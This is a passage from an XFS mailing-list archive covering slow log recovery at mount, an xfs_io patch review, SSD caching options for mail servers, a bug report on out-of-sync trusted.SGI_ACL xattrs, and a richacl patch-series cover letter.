recovered.... And if you have a slow SATA RAID, the small random writes for inode writeback might only retire a hundred inodes a second and log recovery will block until all those inodes are completely written back (i.e. same problem that can lead to unmount taking hours when there are hundreds of thousands of dirty inode in memory). Cheers, Dave. -- Dave Chinner david@fromorbit.com From arekm@maven.pl Fri Oct 23 02:22:13 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CDF897F37 for ; Fri, 23 Oct 2015 02:22:13 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id ABFE9304039 for ; Fri, 23 Oct 2015 00:22:13 -0700 (PDT) X-ASG-Debug-ID: 1445584927-04cbb0660f2fd20001-NocioJ Received: from mail-wi0-f173.google.com (mail-wi0-f173.google.com [209.85.212.173]) by cuda.sgi.com with ESMTP id RIMpMj0PGgihBthg (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Fri, 23 Oct 2015 00:22:08 -0700 (PDT) X-Barracuda-Envelope-From: arekm@maven.pl X-Barracuda-Apparent-Source-IP: 209.85.212.173 Received: by wicll6 with SMTP id ll6so18751192wic.0 for ; Fri, 23 Oct 2015 00:22:07 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=maven.pl; s=maven; h=from:to:subject:date:user-agent:cc:references:in-reply-to :mime-version:content-type:content-transfer-encoding:message-id; bh=CvM00vOMp4T2gHtF6Y243v3e1GW9E//si9xCM1OW+kY=; b=IoS1tGRprdfpny5107wRtRDw1lZx4aM0dBHX1Xz+BvHtSzKUWsvfNAM6uQStQde1Lx NIJMEuIIBDNG1n6UnW93bJaya60CCFrBT7fvb7Jc/HeVem3mnOPFG8v6EnEjgqKstZGE GBJkh69p77jkgW/NQb9DHyNb0YshhX06KQNLk= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:subject:date:user-agent:cc:references :in-reply-to:mime-version:content-type:content-transfer-encoding :message-id; bh=CvM00vOMp4T2gHtF6Y243v3e1GW9E//si9xCM1OW+kY=; b=I/KhZ6bo4q7QFp/GoFBTeUA+RxyUnNt/tyYbN1bKGR8pCX/ddOSes78/Cd42HzlFNZ 3kuNxfyrW29Tm1SujgoCEW14JgmcrgDHCeCktqyDG81ocLN+WrMHa9ygvn779qY4avWf jEhI789jsS+P7BokQTdznXQl7VR38p+LTYAnk6eZUmx7AxiJgycQ/ly6XsSTuah1Bl0/ YQnH5EowZmOhJAjfO1VUbDAxAo3/+eNo+buICTh+s17D2OZKTGAN1cMl0mDvNG3EouhQ hiDryKQUKguT/AcXn6cCKaJzQsveNrctbv0EgRyU/CSa17QKALxeKBpX9PA5AkoREtBV mklQ== X-Gm-Message-State: ALoCoQnWO6spAoZoEa/FKIxhEfwZjB5m2VTAfkYfeMgrmggP+QYVzIWnLATXY76zwFRSZWVKO2TF X-Received: by 10.180.20.46 with SMTP id k14mr2507110wie.89.1445584927161; Fri, 23 Oct 2015 00:22:07 -0700 (PDT) Received: from xps.localnet ([91.234.176.242]) by smtp.gmail.com with ESMTPSA id fx19sm640562wic.14.2015.10.23.00.22.05 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Fri, 23 Oct 2015 00:22:05 -0700 (PDT) From: Arkadiusz =?utf-8?q?Mi=C5=9Bkiewicz?= To: Dave Chinner Subject: Re: very long log recovery at mount Date: Fri, 23 Oct 2015 09:22:04 +0200 X-ASG-Orig-Subj: Re: very long log recovery at mount User-Agent: KMail/1.13.7 (Linux/4.3.0-rc6-00105-g1099f86; KDE/4.14.12; x86_64; ; ) Cc: xfs References: <201510211127.52794.arekm@maven.pl> <20151023070532.GF19199@dastard> In-Reply-To: <20151023070532.GF19199@dastard> MIME-Version: 1.0 Content-Type: Text/Plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Message-Id: <201510230922.04906.arekm@maven.pl> X-Barracuda-Connect: mail-wi0-f173.google.com[209.85.212.173] X-Barracuda-Start-Time: 1445584928 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23745 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Friday 23 of October 2015, Dave Chinner wrote: > On Wed, Oct 21, 2015 at 11:27:52AM +0200, Arkadiusz Mi=C5=9Bkiewicz wrote: > > Hi. > >=20 > > I got such situation, fresh boot, 4.1.10 kernel, init scripts start > > mounting filesystems. One fs wasn't very lucky: > >=20 > > [ 15.979538] XFS (md3): Mounting V4 Filesystem > > [ 16.256316] XFS (md3): Ending clean mount > > [ 28.343346] XFS (md4): Mounting V4 Filesystem > > [ 28.629918] XFS (md4): Ending clean mount > > [ 28.662125] XFS (md5): Mounting V4 Filesystem > > [ 28.980142] XFS (md5): Ending clean mount > > [ 29.049421] XFS (md6): Mounting V4 Filesystem > > [ 29.447725] XFS (md6): Starting recovery (logdev: internal) > > [ 4517.327332] XFS (md6): Ending recovery (logdev: internal) > >=20 > > It took over 1h to mount md6 filesystem. > >=20 > > Questions: > > - is it possible to log how much data is needed to be recovered > > from log? >=20 > Yes. >=20 > > Some data that would give a hint on how big this is (and thus > > rough estimate on how long it will take). Not sure if that's known > > at time when this message is being printed. >=20 > It's not known, then, and can't be known until recovery has sparsed > the log and read all the objects from disk it needs to recover. So I assume not available early enough to be usable. > > - now such long mount time is almost insane, so I wonder why could > > be the reason. Is the process multithreaded, single threaded? cpus > > were idle >=20 > What kernel?=20 "> > I got such situation, fresh boot, 4.1.10 kernel" > We now have readahead which minimises the IO latency of > pulling objects into the kernel for recovery, but if you are > recovering a couple of million individual inode changes (e.g. from a > 'chproj -R /path/with/millions/of/files') then it take a long tiem > to read in all the inodes and write them all back out. It was like 10x rsnapshots there (so tons of files copied/hardlinked, then= =20 rsynced etc). > A single > inode in the log lik ethis only consumes about 200 bytes of log > space, so there can easily be 5000 inodes to recover per megabyte > of log space you have. And if you have a 2GB log, then that could > contain 10 million inode core changes that need to be recovered.... Ok, so what I'm looking for is any kind of indication (in dmesg probably) t= hat=20 it will take long time (thus was asking about log recovery size). Because=20 right now it's hard to estimate how long downtime will be and ability to=20 estimate such things is important. > And if you have a slow SATA RAID, the small random writes for inode > writeback might only retire a hundred inodes a second and log > recovery will block until all those inodes are completely written > back (i.e. same problem that can lead to unmount taking hours when > there are hundreds of thousands of dirty inode in memory). That's a nightmare (fortunately rarely hapening here). Thanks for explanations. > Cheers, > Dave. =2D-=20 Arkadiusz Mi=C5=9Bkiewicz, arekm / ( maven.pl | pld-linux.org ) From cmaiolino@redhat.com Fri Oct 23 04:29:55 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5D8427F37 for ; Fri, 23 Oct 2015 04:29:55 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id DC888AC001 for ; Fri, 23 Oct 2015 02:29:51 -0700 (PDT) X-ASG-Debug-ID: 1445592590-04cbb0660c32a20001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id xzJ2oneT7BHJilMe (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 02:29:50 -0700 (PDT) X-Barracuda-Envelope-From: cmaiolino@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 3FC6591341 for ; Fri, 23 Oct 2015 09:29:50 +0000 (UTC) Received: from redhat.com (dhcp-26-103.brq.redhat.com [10.34.26.103]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9N9TlgS032458 (version=TLSv1/SSLv3 cipher=AES256-SHA bits=256 verify=NO); Fri, 23 Oct 2015 05:29:49 -0400 Date: Fri, 23 Oct 2015 11:29:46 +0200 From: Carlos Maiolino To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs_io: implement 'inode' command V3 Message-ID: <20151023092946.GA752@redhat.com> X-ASG-Orig-Subj: Re: [PATCH] xfs_io: implement 'inode' command V3 Mail-Followup-To: Brian Foster , xfs@oss.sgi.com References: <1445257880-30797-1-git-send-email-cmaiolino@redhat.com> <20151022144255.GB13661@bfoster.bfoster> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151022144255.GB13661@bfoster.bfoster> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445592590 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Thanks for the review Brian, I'll walk over it and fix the points you mentioned. > > > I still don't really get why we have separate -l and -s options here. It > seems to me that the behavior of -l already gives us the information > that -s does. Even if that's not obvious enough, the -l command could > just print out both. For example: > > "Largest inode: 1234 (32-bit)" I agree with you here, but, I'll let Dave answer this question, maybe he had some another idea for it that I'm not aware of. Cheers. -- Carlos From eflorac@intellique.com Fri Oct 23 06:48:11 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2696F7F37 for ; Fri, 23 Oct 2015 06:48:11 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id DF9F7304032 for ; Fri, 23 Oct 2015 04:48:07 -0700 (PDT) X-ASG-Debug-ID: 1445600884-04bdf0330c37ef0001-NocioJ Received: from mail1.g1.pair.com (mail1.g1.pair.com [66.39.3.162]) by cuda.sgi.com with ESMTP id IgCec2cxkCwLSjKQ (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 04:48:05 -0700 (PDT) X-Barracuda-Envelope-From: eflorac@intellique.com X-Barracuda-Apparent-Source-IP: 66.39.3.162 Received: from localhost (localhost [127.0.0.1]) by mail1.g1.pair.com (Postfix) with SMTP id 14D442C809; Fri, 23 Oct 2015 07:48:04 -0400 (EDT) Received: from harpe.intellique.com (labo.djinux.com [82.225.196.72]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by mail1.g1.pair.com (Postfix) with ESMTPSA id 497172C7FE; Fri, 23 Oct 2015 07:48:03 -0400 (EDT) Date: Fri, 23 Oct 2015 13:48:05 +0200 From: Emmanuel Florac To: "krautus@kr916.org" Cc: xfs@oss.sgi.com Subject: Re: hdd + ssd Message-ID: <20151023134805.3c7998e4@harpe.intellique.com> X-ASG-Orig-Subj: Re: hdd + ssd In-Reply-To: <20151022202324.5f00807f@linux> References: <20151022202324.5f00807f@linux> Organization: Intellique X-Mailer: Claws Mail 3.12.0 (GTK+ 2.24.20; i486-slackware-linux-gnu) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: mail1.g1.pair.com[66.39.3.162] X-Barracuda-Start-Time: 1445600884 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23749 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Le Thu, 22 Oct 2015 20:23:24 +0200 "krautus@kr916.org" =C3=A9crivait: > Hello I'm trying to understand why and how to add one or more SSD (as > a cache drive / keeping xfs log) to a traditional spinning xfs > storage volume. I mean: which data will go to the ssd ? Inodes and > dentries will go to the ssd ? Will the _read_ performance increase ? >=20 > In general I'm looking to increase (cache) the reading performance of > folders with a lot of small files (emails), for email servers. >=20 > Feel free to let me rtfm :) > I'd gladly study the documentation / articles / benchmarks but my > google-fu isn't in best shape. You've got several options, some integrated with the kernel: dm-cache and bcache, some available as additional tools: flashcache and EnhanceIO. YMMV, but here's my take: * flashcache being a facebook internal dev, probably is the most largely deployed one. It's clearly production-ready. * EnhanceIO works fine but I haven't tested it thoroughly. It adds no signature to the drives so it can be added to existing filesystems (flashcache and bcache need reformatting). However that means that bad thing may happen if you're careless -- it's clearly targeted at always-on servers. * bcache works fine but the latest fixes haven't been backported, so you should probably use it only with latest (4.2, 4.3) kernels. It's not very mature yet but it's *friggin' fast*. * dm-cache is the easiest to set-up with the lvmcache command (if your distro is recent enough of course). Like very very easy. It's unfortunately the slowest of the pack, apparently. Doesn't need reformatting IF your existing FS already lives in a LV.=20 --=20 ------------------------------------------------------------------------ Emmanuel Florac | Direction technique | Intellique | | +33 1 78 94 84 02 ------------------------------------------------------------------------ From agruenba@redhat.com Fri Oct 23 08:53:04 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id AF6EB7F37 for ; Fri, 23 Oct 2015 08:53:04 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 92E0B304032 for ; Fri, 23 Oct 2015 06:53:01 -0700 (PDT) X-ASG-Debug-ID: 1445608375-04cb6c7b8537c30001-NocioJ Received: from mail-lf0-f45.google.com (mail-lf0-f45.google.com [209.85.215.45]) by cuda.sgi.com with ESMTP id 0lA8yAIMFedr9JGu (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Fri, 23 Oct 2015 06:52:56 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.85.215.45 Received: by lfbn126 with SMTP id n126so49855563lfb.2 for ; Fri, 23 Oct 2015 06:52:54 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat_com.20150623.gappssmtp.com; s=20150623; h=mime-version:date:message-id:subject:from:to:content-type; bh=Ro5OLmBIREznUywRRseaUSDkL81NNnck3cw0YKVkN7Q=; b=FlMpU+GdrIMM8o2T5znbT6Xd8GSagSC/nj76OElxCNJaoe4M5tgQ6c6Xjzx8ejC5TB Vetz6xUerH7sOVBi9vl+gzOpxPJ5DZO3Br33rmTO49i4oBAorphb7P9VwSgoI9yIqSsz ambsKBPLMJ7ZsoIw/InVOjHWLS3gfKOD6q/LOx54xo8Uc7FyNWpY3MzQ2zj/8jK3TRmg WdsBzZ9/Jw6rYq+FD3SejI82SInbYCIWfShrzRxCxmtz4eRxmJfIjCtEmxqXC6qzSSC6 7HvuKKyFNV06WDJpgjb2lKBUb0AEO6CH7p2M1oToTGZnnGtdQG69V8pHFt2HPIHaaNsR ekgQ== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:date:message-id:subject:from:to :content-type; bh=Ro5OLmBIREznUywRRseaUSDkL81NNnck3cw0YKVkN7Q=; b=m23dcVYReKbB9xdH21LSczlxi8JSbYZjRDaRcxi2HcXiI0Wld178qY0w2NNXBIe/2g K1YaH95twhllb+i+ztg6SKbQg4Wy4HQTJ3h/KXMWQQanRqzPKgBDHAZJf6pDW1dAModh Jma8TnHhWqjMfLT7BEabPpGaxqgRYWskzS721F+bf11GGA5RLb2dhhTfxGYEgADWjNu0 I7zs2fo595395dN7HzyKCQBGpBXyE40a5IRF/eCqFyFqi+SQQhp/Ync4AMH+oMDQMhJH 9aXUxuq6tgnM2pxp36m8A6qbc03IuetEDDspLrsvgMtO5KeCNtY+oW4sRpwwM5HQEiRu Sk2g== X-Gm-Message-State: ALoCoQlz4e6GCqlJmqU+993I47HE39A4s1lDYdBSonUoX7BW6AU6Na58qGSaZJYqmO5SZLb0ExsQ MIME-Version: 1.0 X-Received: by 10.112.205.69 with SMTP id le5mr11406330lbc.89.1445608374551; Fri, 23 Oct 2015 06:52:54 -0700 (PDT) Received: by 10.112.53.42 with HTTP; Fri, 23 Oct 2015 06:52:54 -0700 (PDT) Date: Fri, 23 Oct 2015 15:52:54 +0200 Message-ID: Subject: Inconsistencies with trusted.SGI_ACL_{FILE,DEFAULT} From: Andreas Gruenbacher X-ASG-Orig-Subj: Inconsistencies with trusted.SGI_ACL_{FILE,DEFAULT} To: xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-lf0-f45.google.com[209.85.215.45] X-Barracuda-Start-Time: 1445608375 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23752 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Hello, The usual way of manipulating a file's POSIX ACL is through the system.posix_acl_{access,default} xattrs. Setting system.posix_acl_access also sets the permission bits in the file mode. The acls are cached in inode->i_acl and inode->i_default_acl. On XFS, POSIX ACLs are also exposed as trusted.SGI_ACL_{FILE,DEFAULT} xattrs in a different value format. However, setting these xattrs does not update inode->i_{,default_}acl, and setting trusted.SGI_ACL_FILE does not update the file mode; things can get out of sync: $ touch f $ setfacl -m u:agruenba:rw f $ ls -l f -rw-rw-r--+ 1 root root 0 Oct 23 15:04 f $ getfattr -m- -d f # file: f security.selinux="unconfined_u:object_r:user_tmp_t:s0" system.posix_acl_access=0sAgAAAAEABgD/////AgAGAOgDAAAEAAQA/////xAABgD/////IAAEAP////8= trusted.SGI_ACL_FILE=0sAAAABQAAAAH/////AAYAAAAAAAIAAAPoAAYAAAAAAAT/////AAQAAAAAABD/////AAYAAAAAACD/////AAQAAA== $ chmod 0 f $ setfattr -n trusted.SGI_ACL_FILE -v 0sAAAABQAAAAH/////AAYAAAAAAAIAAAPoAAYAAAAAAAT/////AAQAAAAAABD/////AAYAAAAAACD/////AAQAAA== f $ ls -l f ----------+ 1 root root 0 Oct 23 15:04 /var/tmp/f $ getfacl f # file: f # owner: root # group: root user::--- user:agruenba:rw- #effective:--- group::r-- #effective:--- mask::--- other::--- $ getfattr -m- -d f # file: f security.selinux="unconfined_u:object_r:user_tmp_t:s0" system.posix_acl_access=0sAgAAAAEAAAD/////AgAGAOgDAAAEAAQA/////xAAAAD/////IAAAAP////8= trusted.SGI_ACL_FILE=0sAAAABQAAAAH/////AAYAAAAAAAIAAAPoAAYAAAAAAAT/////AAQAAAAAABD/////AAYAAAAAACD/////AAQAAA== Here, the file mode and the reported value of system.posix_acl_access are both wrong; trusted.SGI_ACL_FILE corresponds to what's stored on disk. Access to trusted.* attributes is limited to users capable of CAP_SYS_ADMIN so ordinary users cannot cause this kind of damage, but this still deserves fixing. Thanks, Andreas From agruenba@redhat.com Fri Oct 23 13:42:18 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id F35497F37 for ; Fri, 23 Oct 2015 13:42:17 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id D3C13304039 for ; Fri, 23 Oct 2015 11:42:14 -0700 (PDT) X-ASG-Debug-ID: 1445625733-04cbb0660c3f0c0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 9ISqwoaAjv9J6kDF (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:42:13 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 3E69C8EA45; Fri, 23 Oct 2015 18:42:12 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3eT026588; Fri, 23 Oct 2015 14:42:04 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 00/49] Richacls Date: Fri, 23 Oct 2015 20:41:13 +0200 X-ASG-Orig-Subj: [PATCH v12 00/49] Richacls Message-Id: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625733 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Here is another update of the richacl patch queue. I would like to ask for feedback so that the core and local filesystem code (patches 1-25) can be merged in the 4.4 merge window. Changes since the last posting (http://lwn.net/Articles/661078/): * On ext4, filesystems with the richacl feature can no longer be mounted with -o noacl; richacls cannot be turned off. * XFS was listing richacl xattrs as "trusted.system.richacl"; this has been fixed. * Some definitions have been moved from include/linux/ to include/uapi/linux/. The license of the uapi headers has been changed to LGPL. The complete patch queue is available in git form here: git://git.kernel.org/pub/scm/linux/kernel/git/agruen/linux-richacl.git \ richacl-2015-10-23 The richacl user-space utilitites, man pages, and test suite are available here: https://github.com/andreas-gruenbacher/richacl Changes to other user-space packages for richacl are available here: https://github.com/andreas-gruenbacher/coreutils https://github.com/andreas-gruenbacher/e2fsprogs https://github.com/andreas-gruenbacher/xfsprogs-dev https://github.com/andreas-gruenbacher/nfs-utils Please see the richacl homepage for more information: http://www.bestbits.at/richacl/ Thanks, Andreas Andreas Gruenbacher (47): vfs: Add IS_ACL() and IS_RICHACL() tests vfs: Add MAY_CREATE_FILE and MAY_CREATE_DIR permission flags vfs: Add MAY_DELETE_SELF and MAY_DELETE_CHILD permission flags vfs: Make the inode passed to inode_change_ok non-const vfs: Add permission flags for setting file attributes richacl: In-memory representation and helper functions richacl: Permission mapping functions richacl: Compute maximum file masks from an acl richacl: Permission check algorithm vfs: Cache base_acl objects in inodes vfs: Add get_richacl and set_richacl inode operations vfs: Cache richacl in struct inode richacl: Update the file masks in chmod() richacl: Check if an acl is equivalent to a file mode richacl: Create-time inheritance richacl: Automatic Inheritance richacl: xattr mapping functions richacl: Add richacl xattr handler vfs: Add richacl permission checking xfs: Fix error path in xfs_get_acl xfs: Make xfs_set_mode non-static xfs: Change how listxattr generates synthetic attributes xfs: Add richacl support richacl: acl editing helper functions richacl: Move everyone@ aces down the acl richacl: Propagate everyone@ permissions to other aces richacl: Set the owner permissions to the owner mask richacl: Set the other permissions to the other mask richacl: Isolate the owner and group classes richacl: Apply the file masks to a richacl richacl: Create richacl from mode values nfsd: Keep list of acls to dispose of in compoundargs nfsd: Use richacls as internal acl representation nfsd: Add richacl support nfsd: Add support for the v4.1 dacl attribute nfsd: Add support for the MAY_CREATE_{FILE,DIR} permissions richacl: Add support for unmapped identifiers nfsd: Add support for unmapped richace identifiers ext4: Don't allow unmapped identifiers in richacls xfs: Don't allow unmapped identifiers in richacls sunrpc: Allow to demand-allocate pages to encode into sunrpc: Add xdr_init_encode_pages nfs: Fix GETATTR bitmap verification nfs: Remove unused xdr page offsets in getacl/setacl arguments nfs: Distinguish missing users and groups from nobody nfs: Add richacl support nfs: Add support for the v4.1 dacl attribute Aneesh Kumar K.V (2): ext4: Add richacl support ext4: Add richacl feature flag drivers/staging/lustre/lustre/llite/llite_lib.c | 2 +- fs/Kconfig | 9 + fs/Makefile | 3 + fs/attr.c | 81 ++- fs/ext4/Kconfig | 11 + fs/ext4/Makefile | 1 + fs/ext4/ext4.h | 6 +- fs/ext4/file.c | 3 + fs/ext4/ialloc.c | 11 +- fs/ext4/inode.c | 12 +- fs/ext4/namei.c | 5 + fs/ext4/richacl.c | 145 ++++ fs/ext4/richacl.h | 40 ++ fs/ext4/super.c | 49 +- fs/ext4/xattr.c | 7 + fs/f2fs/acl.c | 4 +- fs/inode.c | 15 +- fs/jffs2/acl.c | 6 +- fs/namei.c | 111 ++- fs/nfs/inode.c | 3 - fs/nfs/nfs4idmap.c | 57 +- fs/nfs/nfs4proc.c | 734 ++++++++++++++----- fs/nfs/nfs4xdr.c | 261 ++++++- fs/nfs/super.c | 4 +- fs/nfs_common/Makefile | 1 + fs/nfs_common/nfs4acl.c | 44 ++ fs/nfsd/Kconfig | 1 + fs/nfsd/acl.h | 23 +- fs/nfsd/nfs4acl.c | 487 +++++++------ fs/nfsd/nfs4proc.c | 25 +- fs/nfsd/nfs4xdr.c | 268 ++++--- fs/nfsd/nfsd.h | 6 +- fs/nfsd/nfsfh.c | 8 +- fs/nfsd/vfs.c | 28 +- fs/nfsd/vfs.h | 17 +- fs/nfsd/xdr4.h | 12 +- fs/posix_acl.c | 26 +- fs/richacl_base.c | 685 ++++++++++++++++++ fs/richacl_compat.c | 915 ++++++++++++++++++++++++ fs/richacl_inode.c | 333 +++++++++ fs/richacl_xattr.c | 345 +++++++++ fs/xattr.c | 34 +- fs/xfs/Kconfig | 1 + fs/xfs/Makefile | 1 + fs/xfs/libxfs/xfs_format.h | 11 +- fs/xfs/xfs_acl.c | 42 +- fs/xfs/xfs_acl.h | 5 - fs/xfs/xfs_inode.c | 24 + fs/xfs/xfs_inode.h | 2 + fs/xfs/xfs_iops.c | 44 +- fs/xfs/xfs_richacl.c | 107 +++ fs/xfs/xfs_richacl.h | 23 + fs/xfs/xfs_super.c | 6 +- fs/xfs/xfs_super.h | 4 + fs/xfs/xfs_xattr.c | 170 ++--- include/linux/fs.h | 51 +- include/linux/nfs4.h | 24 +- include/linux/nfs4acl.h | 7 + include/linux/nfs_fs.h | 1 - include/linux/nfs_fs_sb.h | 3 + include/linux/nfs_xdr.h | 13 +- include/linux/posix_acl.h | 12 +- include/linux/richacl.h | 233 ++++++ include/linux/richacl_compat.h | 40 ++ 